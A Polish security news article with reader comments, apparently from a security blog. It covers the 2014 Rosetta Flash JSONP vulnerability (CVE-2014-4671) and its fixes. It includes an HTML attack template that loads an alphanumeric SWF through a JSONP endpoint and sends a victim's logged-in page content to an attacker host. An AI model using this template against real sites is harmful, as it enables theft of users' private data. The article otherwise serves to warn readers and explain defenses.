9/7/2014
Radzimy wam jak najszybciej zakualizować Flasha — Adobe właśnie wypuściło poprawkę, która łata błąd odkryty przez Michele Spagnuolo. Poniżej opisujemy go w szczegółach. Atak pozwala na przejęcie kont, do których ofiara jest zalogowana w momencie, w którym odwiedzi stronę przygotowaną przez atakującego.
Rosetta Flash
Lukę nazwano Rosetta Flash (CVE-2014-4671) — wykorzystuje ona możliwość przekształcenia plików SWF z postaci binarnej do alfanumerycznej i dotyczy serwisów wykorzystujących JSONP (tzw. JSON z paddingiem).
Atak polega na przekazaniu alfanumerycznie zakodowanego SWF jako callback w żądaniu JSONP. Kod SWF-a jest następnie “odbijany” przez endpoint JSONP z powrotem do ofiary, dzięki czemu przeglądarka ofiary ładuje złośliwy aplet niejako z domeny wybranej przez atakującego. Dzięki temu trikowi można “ominąć” Same Origin Policy, czyli jeden z podstawowych mechanizmów gwarantujących bezpieczeństwo webaplikacji — innymi słowy, atakujący może “wejść” w sesję serwisu do którego zalogowana jest ofiara i wykonywać w jej imieniu żądania (przesyłane wraz z ciasteczkami użytkownika).
Jak przeprowadzić atak?
Wystarczy stworzyć plik HTML z odpowiednio przygotowanym apletem (jest do tego specjalny skrypt):
<object type="application/x-shockwave-flash"
data="https://dziurawastrona.pl/endpoint?callback=CWSMIKI0hCD0Up0IZUnnn...kod_SWF..."
style="display: none">
<param name="FlashVars"
value="url=https://dziurawastrona.pl/account/sensitive_content_logged_in
&exfiltrate=http://atakujacy.pl/log.php">
</object>
oraz ustawić plik crossdomain.xml dla hostującej kod ataku domeny tak, aby zezwalać na połączenia przychodzące z innych domen (wymagane aby odebrać wykradane z innych serwisów dane).
Moj strona korzysta z JSONP, co robić, jak żyć?
Jeśli chcesz chronić dane twoich klientów/użytkowników, którzy jeszcze nie zaktualizowali Flasha (a takich zawsze jest sporo), powinny wprowadzić drobne poprawki w kodzie, polegające albo na usunięciu JSONP z domen zawierających wrażliwe dane (wystarczy przenieść endpoint na dedykowaną “sandboksowaną” domenę) albo poprzedzić callbacki /**/ (tak robi Google, Facebook i GitHub.
Alternatywą jest też zmuszenie endpoita do zwracania następującego nagłówka HTTP, który wymusi ściągnięcie pliku (co jest wystarczające aby Flash Player nie parsował SWF):
Content-Disposition: attachment; filename=f.txt,
Dodatkowo, aby uniemożliwić atak na osoby korzystające z Chrome lub Opery, można zwracać nagłówek:
X-Content-Type-Options: nosniff
który spowoduje, że jeśli endpointy JSONP zwracają Content Type, który nie jest application/x-shockwave-flash (zazwyczaj zwracane jest application/javascript lub application/json) to Flash Player odmówi uruchomienia pliku SWF.
PS. Jeśli korzystasz z Google Chrome, polecamy podnieść poziom bezpieczeństwa przeglądarki włączając “click to play” na pluginach, oraz wykonując te kroki.
Jak to zrobić na androidzie 4.2.2? Przez aplikację “Flash Player Settings” też się nie da.
Podstawowe pytanie noba. Na linuxie działa?
a co do tego ma system?
Na linuxie działa.
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-4671
Trochę pogubiłem się… spreparowana strona “wymusza” ściągnięcie zawartości flash’a z serwera obsługującego żądania JSONP, ponieważ URL jest poprawnym formatem JSONP serwer wysyła callback zawierający odpowiedź, że żądanie “CWSMIKI0h…” (będące binarką flash’a) nie zwróciło dodatkowych danych. Flash interpretuje odpowiedź poprawnie jako binarkę SWF pochodzącą z domeny, do której zapytanie JSONP zostało wysłane otrzymując tym samym uprawnienia do odczytu plików cookie w ramach SOP. Dobrze zrozumiałem?
tak.
JSONP musi odejść :)
A flash wbudowany w Google chrome? Bezpieczny?
Raczej tak:
http://googlechromereleases.blogspot.com/2014/07/flash-player-update.html
Raczej nie i nie bardzo wiadomo jak go uaktulanić (siedzi na 14.0.0.125):
http://googlechromereleases.blogspot.com/2014/07/flash-player-update.html
Update przez chrome://components/ nie działa za bardzo.
Wejść w posiadanie ciasteczek? Really? Pokażcie to może na swoim szkoleniu.
Perfect :D
Sprawdziliście moją wiadomość wysłaną z zakładki kontakt?:)
Gadu Gadu zbagatelizowało problem, a tą metodą można chulać po czyimś koncie bez problemu.
W Firefoksie też można sobie włączyć click to play. Może nie działa tak świetnie jak kiedyś w ‘starej’ Operze ale też daje radę :
Opera też ma “click to play”
Ustawienia/Witryny/Wtyczki – ustawić: odtwarzaj po kliknięciu, w “Zarządzaj wyjątkami” dodać np. *youtube.com *vimeo.com itd.
Co z cyklem “Poniedziałek z Prawnikiem”?
Pewnie prawnik na urlopie :)
Czy bug występuje także we flashu od Shockwave?
nie używam flash-a, nie mam problemu :)
dzięki. działa : )
Click to play per element, noscript i głowa na karku wystarczą.
czy bug 🐛 występuje także we flashu od aparatu?
Tylko jeśli aparat trzyma Flash-bohater.
Nadal nie rozumiem jak można wstrzyknąć taki object na stronę..
Poprawcie mnie jeśli się mylę, ale nawet taki “wstrzyknięty” flash nie może przeczytać ciasteczek httponly. Co za tym idzie, o ile faktycznie mogą wyciekać dane prywatne, to przejęcie konta jest mało prawdopodobne i potrzebna jest tutaj “pomocna dłoń” ze strony developerów serwisu. Nie bardzo więc, rozumiem czemu w temacie jest “Jak przejmować konta…”
[…] techniczne dotyczące wykorzystania luki można znaleźć w Niebezpieczniku, poniżej natomiast zamieszczamy ranking ważności poprawek […]